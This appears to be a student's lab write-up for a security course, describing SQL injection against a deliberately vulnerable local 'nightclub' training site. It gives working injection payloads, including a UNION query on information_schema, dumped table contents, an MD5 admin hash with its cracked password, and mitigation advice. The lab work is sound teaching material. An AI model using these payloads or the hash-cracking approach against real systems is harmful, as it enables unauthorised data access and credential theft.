Gustaf Nilstadius Assignment 4

1. See extras

2. It is vulnerable in /nightclub/girldetail.php
It takes one parameter (girl) that can be injected with sql.
Example: Claudia' or '1'='1
Will give all girls in the bpr.girl table

3. The tables: girls, users, news
I first tried with "UNION ALL SELECT 1, 2, 3 FROM information_schema WHERE '1'='1"
I got a access declined reply.
I realized my error and modified the query to "Claudia' UNION ALL SELECT table_schema,table_name,null FROM information_schema.tables WHERE '1'='1".
This gave me all the tables in the database, including system databases.

4.
girls table:

Id	Nick	Age	Hair	Name	Adresa	Mesto	Psc	Rodne
1	Cindy	18	Blonde	Frantisek Novak	Hlavni nadrazi	Praha	99999	1991513 2/12
2	Claudia	18	Brunette	Marie Nepojmenovana	Neexistujici 2	Wienerschn itzelberg	99999	1989523 0/99
3	Karin	19	purple	Jirina Fialova	Neexistujici 365	Brno	99999	1989523 0/00

News table:

id	title	text	date_inserted	visible
1	MI-BPR Site Launched	The MI-BPR site was launched on Monday, 8th November 2011. Enjoy the stunning photos, parties and girls offered by the site!	2011-11-07 00:28:28	TRUE
2	20% Discount to our VIP Members	We have a special Christmas offer for our valued customers. Rent a girl in December for the entire night and get another one for FREE! See more details about this exclusive deal at here.	2011-11-07 00:56:35	TRUE
3	You have earned 0.5 points	By changing the data you got access to a record which is marked invisible. Inform your teacher.	2015-11-17 18:31:05	FALSE
10	You have earned 0.5 points	Patience is a virtue. Inform your teacher.	2015-11-17 18:31:25	FALSE

Gustaf Nilstadius Assignment 4

users table

id	username	Password (hash)
1	admin	76a76b8096aaaa1eec01ecc43c11bcac
2	www	3ea4db050dfd4daa3a93e9434c468776

5.
Admin password is : kr8va
Cracked with the help of rainbow tables from http://md5cracker.org/

6.
If the club owner would have used prepared statements the vulnerabilities in girldetail.php would not have been present. Prepared statements do not allow for injection since all inputs all checked. Also, the database user should not have access to any table in the information_schema database. This will make injection slower and harder. The hacker will not have easy access to all the table names. This blocking is easily done in a SQL DBMS.
If the SQL command “union” is not used by the website, it can be disabled since there is no normal use for it. This makes executing injections harder.

Using a outdated hash is dangerous and bad. Even worse with fact that is does not use a salt. Salt makes it so that rainbow tables is not as useful.

Extras:
1.
http://127.0.0.1:9999/nightclub/newsfeed.php?feed=3 gives the reply :

You have earned 0.5 points

By changing the data you got access to a record which is marked invisible. Inform your teacher.

2.
http://127.0.0.1:9999/nightclub/newsfeed.php?feed=10 gives the reply:

You have earned 0.5 points

Patience is a virtue. Inform your teacher.